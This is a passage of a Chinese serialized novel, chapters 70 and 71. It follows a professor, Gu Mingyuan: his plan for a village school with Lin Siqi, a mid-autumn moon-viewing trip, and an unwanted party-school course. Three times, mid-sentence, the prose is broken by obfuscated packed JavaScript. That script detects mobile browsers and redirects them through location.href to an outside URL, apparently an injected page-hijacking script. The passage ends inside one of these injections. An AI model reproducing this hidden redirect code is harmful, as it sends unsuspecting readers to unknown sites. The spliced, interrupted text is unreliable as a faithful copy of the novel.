这下顾小满不干了:“你说得轻巧。现在各个湾里留守的老人、小伢不下两三百号人,那得多少地方?再说,不得还要经费呀?” 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904270|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明远对此早有预料,笑着说道:“顾总,你现在说起来也算成功企业家吧?听说过社会责任吧?企业家回报桑梓,既是造福感恩乡亲,也是你应尽的义务呢。” “你可别又在这里给你姐讲大道理了。办企业也得讲经济效益呀。”顾小满有些着了急。 林思齐赶紧安慰道:“顾老师目前也只是说说而已,你别着急。” 没想到顾明远却认起真来:“嘿,嘿,我可不是说说而已。”说着,用手指敲了敲二姐的肩膀:“你放心吧。我们可以先做些试验嘛,比如先从楚剧、竹艺、剪纸这些入手,说不定做好了也能产生经济效益的。再说,老许跟我说过,如果是好项目县里会给经费支持的,到时候我去和他说说,你们汪总赚了这么多,现在也该回馈老家的嘛,我和他说去。” 被他这样一说,顾小满也有些动了心,嘴里嘟哝着说道:“行呀,那就看你这张嘴了。” 午饭后,顾明远和林思齐不约而同走到青石垒砌的戏台前。和煦的春风拂过,明媚的春光洒下,戏台斑驳的梁柱被镀上了一层浅金色的光边,细小的尘埃在光束中轻盈舞蹈,这片空间仿佛在静默中积蓄着力量,等待着被更丰富的乡音乡情填满的时光。望着眼前这片充满生机却有些寂寥的院落,一种难以言喻默契在两人的心空中升腾。 林思齐目光扫过眼前静默的戏台,又望向院外炊烟袅袅的村落,眼中闪烁着光芒说道:“我读书时有过两次在偏远山区支教的经历,至今仍然难以忘怀。刚才开车一路看过来,沿途看见不少农村老人带着孩子,要么是漫无目标的闲逛,要么是扎在一起打牌聊天,我当时就在想啊,如果让这些老人孩子有个地方可以拢在一起,既安全,又充实,那多好啊。所以,一进到你二姐这个院子,我眼睛就亮了一下,多好的地方啊。”她的声音不高,却在顾明远的心湖激起了巨大的回响。这两年来,顾明远一直在心中酝酿、却因顾虑而不敢吐露的构想,如今在二姐的地盘上被林思齐清晰地点了出来:尽自己所能,为故乡的真实存在的“一老一少”问题做点实实在在的事情。 “思齐你说得太对了”,顾明远的声音因情绪的激荡而变得热切起来:“现在到处都在谈乡村振兴,我倒觉得,乡村振兴绝不仅仅是盖房子、搞产业这些,说到底应该是‘人’的振兴,是让这片土地上世代居住的每一个生命,无论老人还是孩子,都能活得更有尊严、更有盼头、更有发自内心的幸福感才对。现在农村有那么多留守老人和儿童,他们需要的远不只是物质上的吃穿冷暖,身体健康、精神充实其实更加重要。怎么解决,不正是需要教育的力量和人文的关怀吗?说到底,乡村振兴必须让他们不仅老有所养、幼有所育,更能老有所乐、幼有所教的啊。”此刻,顾明远的思路像是开了闸的堤坝,激情燃烧、话如泉涌,几乎要忘记了周遭的一切:“我们这些象牙塔里的知识分子,掌握了比普通人更多的知识、更广的资源和社会话语权,但很多时候不过都是精致的利己主义这,有意无意将自身优势全都被用在孤芳自赏和追逐名利。现在想起来,真是何等的可悲和可笑,我们为什么不能将自己的知识和能力,哪怕只是一部分,在这些无助无依的老人和孩子身上实现更多的价值和发挥更大的作用呢?” 不知什么时候,顾小满已经悄然地站在了二人的身后,她听着弟弟这番慷慨陈词,脸上带着既欣慰又觉得有些“书生气”的复杂表情,故作调侃地说道:“哟,看来你们这悄悄话的水平还挺高,聊的都是家国天下、乡村振兴的大事业呢。” 林思齐静静地听着,目光始终没有离开顾明远神采飞扬的脸。直到他说完最后一个字,空气中还仿佛回荡着他话语的温度。她向前迈了半步,眼角微微泛起涟漪般的笑意,声音轻柔得像小河里潺潺流动的溪水:“你说得对,知识真不该是锁在象牙塔里的装饰。它能变成萤火虫,哪怕光亮微弱,也能照亮某个角落。如果一个一个的萤火虫汇集在一起,说不定真的能够照亮这些老人和孩子前行的路呢。” 两人正说得热闹,顾小满不知什么时候悄悄潜到了后面,突然猛拍了一下顾明远肩膀嗔道:“好哇,原来你们早有预谋呀。” 林思齐赶紧红着脸解释:“现在也只是个设想而已,行不行不还得你这个大老板说了算。” 顾小满对自己这个弟弟既佩服又爱护,虽然内心有些疑惑,但只要弟弟看好的事情,她一定会大力支持,更何况林思齐也在一起呢。顾小满眼珠一转,故意说道:“只要你们两人一起干,我肯定支持。”说完后认真地说道:“到时候你们在这里挂个牌子吧,这样也显得正式些。” “那好办呀,就叫‘乡村学堂’”,顾明远脱口而出,林思齐扯了扯他的袖子补充道:“这个名字不够特色,依我看,应该叫‘小满乡村学堂’。” 一阵轻柔的风拂过大家的心坎,在同一个频率上激起了悠扬的共鸣。 这一夜,躺在“慢乡村舍”民宿安静的房间里,顾明远在床上翻来覆去,根本无法入睡。窗外是久违的乡村春夜,脑海里盘旋的全是“乡村学堂”的愿景:二姐负责提供场地和设施,林思齐承诺健康教育这个模块,自己呢,则就开设具有乡村特色的课程进行编排……。如果真的成功,既可以拓展孩子们的兴趣爱好,又能丰富老人的精神生活,真正成为一方凝聚乡情、服务乡亲的精神家园。更为关键的是,自己有可能在象牙塔之外寻找到一条更能体现知识价值、契合内心召唤的人生道路,一条比任何一篇学术论文、任何一个闪光头衔都更厚重、更真实、更能触及灵魂的道路:奉献自己,照亮别人。 70. 月色撩人 回到武汉后,顾明远又陷入了无休无止的会议与文件之中。周五下午,当他从孟超主持的二期工程总结会中抽身时,夜幕已沉沉垂下,天空暗沉粘稠如一杯隔夜的劣质咖啡。他冲出办公楼,心早已飞向了湖畔中学——今天是接女儿顾安然回家度周末的日子。 湖畔中学门口喧嚣人潮早已散尽,冷清得只剩路灯投下的孤影。门卫认得顾明远,告诉他女儿已被一位高个子女士接走了。 顾明远不假思索地拨通了林思齐的电话。当电话那头传来女儿欢快的声音时,一股难以言喻的暖流涌上心头。 驱车赶往林思齐家的路上,一轮满月斜挂在磨山顶幽蓝的天幕上。月光慷慨地洒落湖面,漾出一湖潋滟的金银波纹。磨山的剪影仿佛一架古老琴台,在深邃的夜幕深处,无声流淌着沁人心脾的旋律。 顾明远无暇欣赏这诗画般的夜色,车子刚一停稳,便身轻如燕纵上林思齐家的三楼。门应声而开,林思齐正歪着脑袋用头巾揉搓湿漉漉的长发。氤氲的水汽和淡淡薄荷清香扑面而来。她笑吟吟地屈膝,做了个俏皮的“有请”手势。 顾安然深陷在客厅的沙发里,怀里搂着林思齐家那只银灰色的猫咪“汤圆”。似乎认出了顾明远,毫无怯意的它从顾安然怀中挣脱,迈着不疾不徐的“猫步”走到他的脚边,围着裤腿嗅了几圈后仰起圆脸,娇滴滴地“喵呜”几声,仿佛在代表主人欢迎他的到来。 “试试这个。”林思齐递来一根猫条,眼底藏着些狡黠的笑意。 顾明远笨拙地接过,正研究如何撕开,顾安然凑过来,“嗤啦”一声撕开包装递给爸爸。浓郁肉香瞬间弥漫开来,受了诱惑的汤圆“喵呜”着欢叫一声,闪电般纵上顾明远的腿上,蓬松的尾巴兴奋地左摇右摆,像是风中飘飞的旗子。 “哼,真是个有奶便是娘的小叛徒。”顾安然不满汤圆的“叛变”,轻掐着它鼓鼓的腮帮子笑骂。 林思齐倚在门框边,目光像被一层暖光浸过,温柔地笼罩着那嬉笑的一双人与一只猫,一股温热的暖流自心口荡开。父女俩的笑语、猫咪满足的呼噜声,在她听来,仿佛是这世间最动听的合奏。 看见顾明远出神地打量着汤圆,林思齐从书架上取出一个棕色的本子说道:“这里有一篇安安上个月给汤圆写的一篇‘颂文’呢。有必要奇文共欣赏呀?” 顾安然有些不好意思,双手捂着泛红的脸嘟嘴说道“好肉麻哦”。林思齐却不管,清了清嗓子念了起来:“…小家伙最爱霸占窗台,活像一团被太阳晒化的奶油冰淇淋…走起路来八字步落地无声…最‘致命’的是它歪着小脑袋看人的模样…这分明是披着华丽貂裘、专门蛊惑人类的小无赖嘛!…” 顾安然早已羞得满脸通红,跳起来一把抢过本子捂在怀里,不让林思齐继续。 这时,一只黑衣黄喙的乌鸫落在窗外栏杆上。汤圆猛地从顾明远身上跳下,纵身跃上窗台,喉咙发出低沉“呜呜”声。受惊的乌鸫仓皇扑翅飞走,留下汤圆对着空荡窗外“哈赤哈赤”喘着粗气。这一幕,逗得屋内三人逗哈哈大笑起来。 顾明远有些好奇,询问起“汤圆”名字的来历。 林思齐以为他是嫌这个名字普通而俗气,不好意思地伸出手指指向自己娇嗔地说道:“不许批评这个名字哦。” 顾明远摇了摇头,由衷地赞叹道:“怎么会呢。这是个既接地气又合形神的好名字呀。” 顾安然悄悄翻了个白眼,嘲笑爸爸这是“拍马屁”。 顾明远却认真起来:“我这可不是拍马屁。你看嘛,它圆滚滚的体态,是不是一枚圆溜溜的汤圆?雪白外皮中夹杂些灰黑斑纹,像不像汤圆里的芝麻馅儿?” 这番生动比喻让林思齐暗自高兴,当着顾安然的面又不好流露自己的甜蜜,假装嘴上调侃道:“安安,你看看你老爸是不是巧舌如簧?” 顾安然“哼”了一声,将窗台上的汤圆抱在怀里,眼里再也没有两人。 回到家里,安顿好女儿后,顾明远躺在床上辗转反侧:汤圆的憨态可掬、林思齐淡雅自然的一颦一笑,在脑海中交织盘旋,怎么也赶不走。睡意杳无踪迹,他索性起身踱步道阳台,将自己浸入月光的波浪中。仰望着这轮见证了无数悲欢的明月,一个念头无比清晰地浮现:明月何曾是两乡。此刻,或许它是唯一能够与她共享共鸣的载体。他相信同样痴月的林思齐此刻一定也在仰望明月,将自己的万千情愫托付于他。 忽然,一只缁色大鸟从窗下树冠中惊飞而起,一声清唳的长啸后,扑棱着翅膀飞进对面的树林中。四周复归岑寂,明月依旧当空,一丝莫名的怅惘悄然袭上心头。回到床上重新躺下,任由身体浸没在如水月华里,感觉自己像一叶轻舟在水波上轻轻荡漾。顾明远诗意大发,拿起床头柜上的纸笔信手填了一阕《清平乐》: 夜凉桐荫, 清影幽人寝。 帘钺光溶天钩凛, 谁与嫦娥共枕? 窗外宿鸟声幽, 浅睡还须觥筹。 点检同行旧侣, 今宵何处凝眸? 正在纠结要不要发给林思齐共赏。手机屏幕亮了起来,林思齐在微信里发来了一句“千里共婵娟”,后面跟着一串调皮的吐舌头的图标。顾明远没有猜错。此刻林思齐正独自漫步东湖畔蜿蜒木栈道上。清冷月辉洒在粼粼水面,也微漾着她的心湖。抬头看时,彷佛觉得顾明远那张带着书卷气的面庞正在银盘的月亮里含笑着看着自己。然而,微风吹过,行人走过,才意识到自己现在正孑然一身独自彷徨。今天,如果不是顾安然在场,自己一定会邀请顾明远一同来到东湖赏月,借着月色,将心里藏了许久的思短情长倾吐出来。林思齐现在真切地感受得到,思念一个人时,心口就像是被灌满了铅沉甸甸地坠着。有时试图用忙碌麻痹自己,可他的身影却总在不经意间从某个旋律、某段街景、甚至空气中一抹熟悉的气味中清晰地浮现出来。这两年来,尽管理性经常在脑海里高声劝退,可思念却在骨子里无声地死守,顽固得让人无能为力。林思齐有时不得不在心里哀叹:原来世间最沉重的负担,不是放不下,而是你根本不想放下。 顾、林讹人间这份欲说还休的微妙情愫,早被马骉夫人王菡看在眼里。别看王菡说话大大咧咧,其实心思十分细密。八月中秋即将来临,和老公马骉商量后,两人定下了邀请顾、林二人同去三清山赏月的计策,理由是要坐他们的便车。 三清山是闻名遐迩的赏月圣地,顾明远当然是举双手赞成。当王菡给林思齐打去电话时,感觉她似乎有些闪躲回避的意思,理由是中秋可能有值班任务。其实只有她自己清楚,这与前几天表姐秦冰纶告诫她那个叶笛最近与顾明远接触频繁的信息大有关系。林思齐的态度让王菡起了急,连夜让老公马骉骑着摩托赶到林思齐的家。架不住夫妻二人的好说歹劝,林思齐总算勉强答应了下来。 中秋前一天,一行四人坐上顾明远的私家车。马骉不解风情,径直坐在了副驾驶座位上,被王菡一把拽了下来,使了几次眼色后,马骉恍然大悟,笑着以要照顾老婆为理由转到了后座。王菡不由分说地将微愕的林思齐塞进到副驾驶位子上。 车载音响中,谭维维刚刚推出的新曲《如果有来生》悠扬婉转,却化不开顾明远和林思齐之间莫名的尴尬。只有马骉,兴奋得像个孩子似的,嘴上“得吧得吧”地说个不停。王菡嫌丈夫话多,过了黄石长江大桥后,在手机上写下一行字对着马骉悄悄晃了晃,马骉一看“装睡让他俩聊天”的字样,夸张地打了个哈欠,靠在老婆肩上打起了呼噜。 顾明远透过后视镜将这一幕尽收眼底,心头涌起一股温暖,忍不住用眼角的余光偷偷看了一眼林思齐,不禁想起徐志摩笔下“最是那一低头的温柔,像一朵水莲花不胜凉风的娇羞”的诗来。让他不安的是,林思齐似乎兴致一致不高,远没有前些时候见面时的热烈和放松。几次想问,碍于后座的马骉夫妇,不敢轻易开口。 抵达三清山住处时,迎接他们的并非期待中的万里晴空。天空像是蒙着一层灰扑扑的纱幔。林思齐看了顾明远一眼,秀眉微蹙、星眼含忧。知道林思齐痴月的程度决不亚于自己,顾明远连忙轻声说道:“放宽心,明天才是八月十五呢。” 第二天早上去餐厅用餐途中,两人焦急地看向空中。天空依然阴沉如倒扣的生锈铁锅,灰蒙蒙云絮像湿透棉絮,沉甸甸塞满远山近岭,饱含水汽的浓雾在身边翻滚游荡,仿佛伸手就能拧出水滴来。吃罢早餐后,趁马骉夫妇回房收拾背包的空隙,顾明远故作轻松地凑近压低声音调侃:“你看这三清山云雾缭绕,仙气飘飘,咱们不就是误入仙境的神仙了?放心吧,我刚用‘意念’跟雨神通了电话,勒令它下午前必须云开雾散,晚上务必月朗星稀,否则就要兴师问罪。” 顾明远一本正经的“胡说八道”,让原本情绪低落的林思齐“噗嗤”一声笑出声来。终究没能按捺住心底那点蠢蠢欲动的好奇,装作不经意地试探:“你出来这一趟,不用跟谁报备吗?” 顾明远浑然未觉,答得老实:“我可是正儿八经向学校请过假的。” 没得到想听的答案,林思齐语气里添了几分若有似无的酸意:“只要学校批准就行了?” 顾明远怔了怔,恍然大悟:“你说安安呀?她正好刻意陪外公外婆家过中秋。” 林思齐轻轻“哼”了一声,别过脸去:“看不出来顾老师城府挺深的嘛。” 顾明远这时才后知后觉地意识到林思齐应该是话中有话,她今天的情绪低落也许是另有所因。想起沈菊英几次善意的提醒,他心里一紧,猜测也许与叶笛有关。斟酌了片刻,试图在不经意间澄清:“最近毕业季,为了毕业论文通关,来找的学生实在太多了。” 林思齐没料到他会主动触及这个问题,顺势接话:“来找你的,多半是女生吧?” “男女生都有。”顾明远故作轻松地拿出叶笛举例:“你还记得我那个小老乡叶笛吧?这两年光顾着在外面兼职,论文拉下得多,现在倒知道着急了。唉,没办法,谁让她是我恩师的女儿呢。” 林思齐故意挑眉,目光里带着几分狡黠的审视:“顾老师这是不打自招呀?我可从来没提过叶什么笛的哦。” 顾明远被她看得无所遁形,只得缴械投降:“是我不对……只是不想你多想而已。” 就这么简单一句话,林思齐心头的阴霾顿时散了大半,眼角眉梢重新漾起明媚的光彩,转身对着大厅里的马骉夫妇扬声催促:“我们是不是该出发啦?”声音里满是藏不住的轻快和释怀。 一行人裹上冲锋衣沿着逼仄的山道向主峰进发。只十来分钟的样子,林思齐与王菡便香汗淋漓、步履蹒跚。路旁抬滑竿的师傅热情围上,七嘴八舌鼓动顾明远和马骉要怜香惜玉,却被林思齐毫不犹豫抬手制止。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玉簪螺髻立苍穹,雾縠轻遮半面红。 愿化山巅云一片,朝朝暮暮绕芳丛。 吟罢,目光灼灼地看向林思齐,意思是“你得礼尚往来吧”。林思齐不肯服输,迎着目光略一思索,依着原韵清声吟道: 清辉一抹照苍穹,羞掩丹霞醉靥红。 若许灵心通造化,春风先度碧云丛。 短短四句,清丽婉转,既回应了顾明远诗中的倾慕,又含蓄表达了自己的心迹。两首诗在空中交汇,仿佛无形丝线,将两颗本就靠近的心温柔紧密地缠绕。 下午三点左右,阳光彻底驱散阴霾,天空湛蓝如洗。林思齐意味深长地笑道:“看来顾先生你的‘电话’,威力不小啊。天庭也得给你几分薄面。” 王菡不明所以地凑过来问道:“什么电话?老顾给谁打电话了?” 林思齐狡黠眨眼,纤纤玉指向上指了指天空莞尔一笑:“喏,顾先生刚刚跟‘上面’沟通了一下天气。” 马骉不懂装懂:“嗨,我当啥呢。老顾在大学时就爱研究些神神叨叨的‘妖法’,你们可别当真。” 他的话引来一阵欢快的笑声。 晚餐时,顾明远从酒店老板那里打听到山上有个叫“半山温泉”的地方是绝佳赏月的去处,便提议四人同往。 马骉激动得拍手叫好。王菡却微蹙眉头扯了他一把:“骉子,我可能有点感冒了,你得留下来照顾我。” 马骉心有不甘,也不敢违逆老婆的意思。林思齐炮灰房间拿来备用的药品让她就着鱼汤喝下。王菡接过说是回到房间再喝,便拉着马骉离开了餐厅。 回到房间,马骉捉急忙慌地拿起水瓶要给老婆冲药,王菡却“噗嗤”笑出声来:“你个苕货,真当我感冒了?我是装的,这样给明远和思齐创造机会呢。” 马骉恍然大悟,猛拍脑门,竖起大拇指连连给老婆说了三个“高”字。王菡伸出脚尖踹了他一下,让他“莫闹眼子。” 驱车一路盘旋,来到了“半山温泉”。沿着青石板小径蜿蜒而上,穿过一片婆娑竹影,几方户外温泉池如碧玉般散落在山坡上。氤氲的热气在清冷的月光下袅袅升腾,与山间尚未散尽的薄雾交融,织成一片朦胧的纱幔。空气中弥漫着淡淡的硫磺气息,混合着草木的清香,让人恍若置身仙境。 顾明远与林思齐选了一个相对僻静的池子。坐在池边温热的石板上,两人并未急于入水,只是静静地享受着这份难得的宁静。月光毫无保留地倾泻下来,为林思齐的侧脸镀上了一层柔和的银边,她微湿的发梢在灯下泛着莹润的光泽。顾明远看着她在朦胧水汽中愈发清丽的容颜,心中涌起一股难以名状的安宁与悸动。 “这里赏月,果然名不虚传啊,确实更加清澈透明。”林思齐微微仰头,望着天际的玉盘轻声感叹。 “是啊,”顾明远应和着,顿了顿,语气带着一丝共鸣:“更重要的是,有懂得欣赏它的人在。” 林思齐闻言,唇角微弯,眼底漾开了浅浅的笑意。俯身伸出纤白的手指,轻轻划过微烫的泉水,身体如美人鱼般滑入池中。山风拂过,带来远处松涛的低吟和近处竹叶的沙沙声。两人不约而同地保持缄默,只为了在这一天风月下感受着彼此的存在。 夜渐深,月西斜。当两人起身起身驱车离开时,心情更加澄澈而温暖。温泉月色如同一道温柔的水痕,悄然漫过两人心田,滋养了那份纯洁而深厚的情谊。 71. 栽培 午后阳光斜照进办公室,忙完工作的顾明远刚在扶手椅上坐下小憩,门被轻轻推开,一个身影闪了进来。顾明远睁开眼睛一看,来人竟是许久未见的叶笛,便冷冷地看了她一眼懒得起身。 顾明远对叶笛毕业后选择留校从事行政工作一事始终耿耿于怀。他怎么也想不通,那个聪慧敏锐、满腹才华的女子,竟会甘愿埋没于一隅办公室,终日与文件琐事为伴。情急之下,他曾经两次拨通了叶笛父亲——也是自己恩师叶少雄的电话,希望对方能劝阻女儿留校,至少不要从事行政工作。谁知叶笛仿佛铁了心,任凭旁人如何劝说,都不为所动。后来,沈菊英无意间提起,叶笛执意留校其实是秦冰纶的意思——办公室里有“自己人”,终究是方便行事。这番话更像一根针扎进顾明远心里。他万万没有想到,叶笛不仅辜负了自己的一身才学,竟还情愿沦为他人棋盘上的一枚棋子。一种混合着失望与愤懑的情绪在他胸中翻涌,自此,他有意拉开了与叶笛的距离。 叶笛似乎对顾明远的疏远一点也不介意。她留校虽说是秦冰纶的意思,其实也有自己的盘算——可以和风神潇洒的“顾老师”离得更近。看见顾明远冷冷地看着自己,叶笛俏皮地晃了晃扎着马尾的脑袋:"顾先生,我都留校了,你不能总是这个样子对我吧?" 顾明远正色道:"我们现在就是普通同事,还能怎样对你?" “我们怎么是普通同事呢?”叶笛急得撅起了嘴。 顾明远不想让她久留,有些不耐烦起来:“快点的吧,有事说事,我还得午休呢?” 叶笛手中的茶杯抖了一下,脸上写满了委屈和失落。 顾明远不忍心见她如此,长叹一声,语气缓和了些:"唉,你这真是少年不识愁滋味啊,今后有的是苦头吃。既然木已成舟,也只能这样啦。你可要记住,行政岗位就是个染缸,你千万别学那些逢迎吹拍那一套。说起来也是知识分子呢,独立人格还是要有的,别让人当枪使了。" 看见顾明远如此关心自己,叶笛脸上立刻漾起了欣喜,拿起水平要给顾明远添水,却被他一把拦住:“你还是有事说事吧。” 叶笛只好将在不势力近水楼台得来的学校要派他去党校学习的事情说了出来,还不忘神秘的凑近压低声音说道:“汤校长明年就要退了,大家都说这是戈书记有意栽培你的意思。顾先生,如果你将来能接班做校领导就好了。” 顾明远的睡意霎时消散得无影无踪。令他警觉的并非接班,而是突如其来的党校学习。三个月的封闭学习,在旁人眼中或许是晋升的必经之路,于他而言却成了一种身体和心理的负担。他素来对这种集体学习敬而远之,更何况如今的他,心思早已不在仕途的起落之上。那颗炽热的进取心已然另有所属。面对这样的“机会”,不仅心如止水,更是烦躁不已。 原本以为顾明远得知这个消息后会兴奋不已,没料到他不仅面不改色甚至眼神中显出几丝愤怒来,叶笛有些惶然失措,不敢细问,便好意提醒道:“顾先生,我今天来,主要是要你注意提防我们办公室那位‘大佬’,他最近和林书锦他们混得很紧,可没少说您的闲话。” 本就烦躁的顾明远不耐烦地挥了挥手:"行了吧,赶紧走,别一起步就染上这传播小道消息的毛病。" 叶笛被顾明远呛得一脸的无趣,只好怏怏地离开了。 虽然还没有得到正式通知,顾明远觉得叶笛的话决不会是空穴来风。趁着周末和女儿顾安然探望外公外婆的机会,顾明远忍不住想吴若甫说出了自己的顾虑。 七十五六的吴若甫早已没了往日指点江山的锐气和豪情,听完顾明远的叙述,目光平静得不见一丝波澜:"哦?这是好事。说明戈书记很看重你嘛。" 顾明远本想说出自己对未来的一些规划,又觉得为时尚早,不无忧虑地说道:"您说我能不能拒绝?" 若在以往,吴若甫的脸会立刻沉下来指责一番,现在脸上依旧平静,既看不出惊愕,也寻不着失望。拿起桌上的紫砂茶壶将澄澈的茶汤缓缓注入杯中,沉默了片刻才轻轻开口:"明远,说起来你现在已经算是阅历不浅了,大主意得自己拿了。以前吧,我确实一直想把你往行政那条路上扶一把、送一程,觉得搞行政才是人生的价值。现在回头来看啊,也许人生的路还真的不止一条。我已经老喽,跟社会脱节太久了。你本来就很有主见,我看呀,到时戈书记找你谈时,你不妨说出自己的真实想法。快四十了嘛,也不要总是迁就别人的意见了。当然,你应该也清楚,如果真的如此,说明戈书记是真心想栽培你。这也算一份知遇之情嘛。参加不参加且不说,到时候说话注意分寸总是应该的。人情世故嘛。" 顾明远心中一震。老爷子这种看似没有给出具体的意见,但言语间充满了尊重和理解,这让他感觉到了一种从未有过的温暖。 正当顾明远纠结着以何种方式向戈大垣摊牌,戈大垣的电话先打了过来。在戈大垣强大气场笼罩下,顾明远原本准备好的种种理由全都堵在了喉咙口吐不出来。等他缓过神来,戈大垣手中的红头文件已经递了过来,不待他申说,戈大垣已经站起身来爽脆地说了句"好好学习弄个优秀学员嘛",便拿起茶杯要去参加会议。 顾明远就这样被稀里糊涂地推上了党校学习这条船上。 孟超似乎并不掩饰自己对顾明远暂时兴奋,特意带着基建处科级以上干部为他办了一场壮行宴,席间将自己多次参加学习的"经验"倾囊相授。看着孟超言不由衷的表情,顾明远心情莫名舒缓了些——毕竟三个月可以远离他随时随地的霸气。 报到当天,宿舍楼的走廊里人来人往,学员们正忙着串门联络、增进感情。安顿完毕后,顾明远坐在房间里翻开学员花名册,被上面满眼的"博士"头衔晃得有些晕乎。全班38人,博士19人,学士仅3人。他不由得庆幸自己好歹还有个比上不足比下有余的硕士学历。更让他惊奇的是,最后一页上,"何荣坤"三字赫然在列。 晚上七点半,开始例行的学前教育。走进教室,顾明远一眼就看见了第四组后排那个标志性的大背头——不是何荣坤又是谁?顾明远低头细看何荣坤的简历,"博士在读"四个字显得有些灼眼。顾明远这才想起,秦冰纶获聘博士生导师后,何荣坤正是她招收的第一批博士生。想到当年车曦照多次暗示自己读博却被自己一再忽视,心中不免有些后悔,觉得自己实在是有些烂泥扶不上墙的感觉。 九点下课,出于礼节,顾明远想着去和何荣坤打个招呼。哪晓得这家伙疾走如风,很快就消失在教学楼外的夜色中不见了踪影。刚转进幽暗的樟树道,肩头就被人重重拍了一下。借着路灯昏黄的光亮,一位齐耳短发、利落精神的中年女人大方地伸出手来。顾明远只好茫然地握住。女人很是爽朗地自报家门。顾明远吃了一惊:她竟然是副校长江川的夫人方琳。顾明远正在尴尬,同桌陆家宜伸出手指在方琳面前晃了晃:"老方,我俩真是孽缘啊,这都''三进宫''了还在同一个班。"方琳自嘲了句“没出息呗”,转头又望向顾明远:"顾处长忘了我吧?去年老江宴请时我们照过面的呀。"顾明远只好装出恍然的样子。 方琳似乎人脉甚广,来往者纷纷驻足与她寒暄,她也热情地将顾明远引荐给众人。顾明远不习惯这样的盲目应酬,找了个借口匆匆回到宿舍。 正在整理发下来的各种读物,外面响起了轻轻的叩门声。开门一看,何荣坤正叼着烟站在门口,笑着小声说道:"老顾,缘分啊。没想到十五年后又成同学了。"此刻的他意气风发,与课堂上的正襟危坐判若两人。 顾明远知道他好面子,连忙说道:"刚才下课正想和你打招呼,你溜得比兔子还快。" 何荣坤嘴角微撇:"公开场合那么张扬干啥?你没发现,下课后三五成群聚在一起的,全是你们高校的这帮书生,省厅那些处长们可不这样。" 莫名其妙被嘲讽了一顿,顾明远忍不住反唇相讥:"是啊,你们这些政府大员都深沉内敛,城府深得像隧道。就拿着装,你看你们省厅的都是清一色的是行政夹克,哪像我们来自高校的,五花八门一看就不是正规军嘛。" 何荣坤并不和他计较,倒显出了对老同学的关心:"老顾你是第一次参加这种班,我倒要送你两句话:一是学习不重要,交游才是关键;二是凡事莫张扬,遇人少说话。" 顾明远虽然对此颇有些不屑,但心想这或许确是过来人的经验,便在心里默默记下。 何荣坤烟瘾越来越大,转瞬间房间里便是烟雾缭绕。顾明远开窗刚笑着说了“乌烟瘴气”几个字,便觉得自己的嘴巴有些“张扬”,便转移话题好奇地问道:"不对呀,上次听骉子说同学会上大家都叫你''何厅''了,怎么还和我们这些处级干部一起培训呢?" 何荣坤脸色微红了些,支支吾吾说了半天,意思是目前还是“厅长助理”,然后抱怨道:“他妈的干的是厅长的事,拿的是处长的待遇。"又觉得自己的话容易引起老同学的误会,弹了弹烟灰后加重语气说道:"来前厅长已经透风,回去就启动考察。" 顾明远顺手拿起桌上的可乐:"来,那就为咱们班首位厅官即将诞生干杯"。何荣坤也不客气,仰脖灌下,却被猛烈的二氧化碳呛得眼泪都流了出来。 临走时,何荣坤郑重其事交代顾明远“万不可将自己学习的事情告诉孟超”。顾明远不懂,问了声“为什么”,何荣坤说了句“麻烦”,拍拍评估,扬着头走了。 第二天天刚发亮,喜欢晨练的顾明远换好运动装来到了隔壁的中山公园。刚慢跑了一圈,手机就响了起来,孟超带着调侃的口吻责怪他没有第一时间将何荣坤学习的事情报告。 顾明远刚辩解了一句“何荣坤坚决不让”,孟超在电话里轻蔑地笑了起来:"看来顾处长的政治敏锐性需要提高啊啊。" 顾明远看了一眼垃圾桶旁飞舞的苍蝇,好奇地问道:"那您是怎么知道这个信息的呢。" 孟超却在电话里打起了“哈哈”,然后通知顾明远:“这样,晚上我过江来请老何联络联络感情,你务必请几位省厅处长作陪。" 这可给顾明远出了一个大难题。这才不到一天的时间,自己连学员名字都没有记住一两个,上哪里去请几位省厅的"大员"们呢。但孟超毕竟是领导,交办的事情如果不办,既显得自己无能,又让孟超看不起。思来想去,顾明远想到了人缘颇佳的方琳,刚拿起手机,忽然想起江川与孟超素来不和,只好断了念头。 没有晨练心思的闷闷不乐地向食堂走去。刚近门口,正遇上剔着牙出门的何荣坤。顾明远灵机一动:这不是现成的吗。 刚一说出自己的想法,何荣坤故意将脸板了起来:“老顾,看来你这是口风不严啊。说好的不让告诉老孟的的呢。” 顾明远气得心里直骂娘,嘴上还得央求请省厅同学作陪的事情。 何荣坤将剔出的菜屑吐在地上,嘴角勾起一抹意味深长的笑容:“小菜一碟,交给我好了。”说罢,背起双手、迈着方步走了。顾明远抬起一脚,将脚下的一颗石子狠狠地踢到花坛的木架下。 宴请地点是何荣坤亲自挑选的一家高档酒店。当顾明远踏入那金碧辉煌的包房时,心中一阵震撼与忐忑。巨大的圆桌中央,六瓶标着“30年陈酿”的茅台酒如同卫兵般威严矗立。身着锦绣旗袍的女服务员行云流水般地将佛跳墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 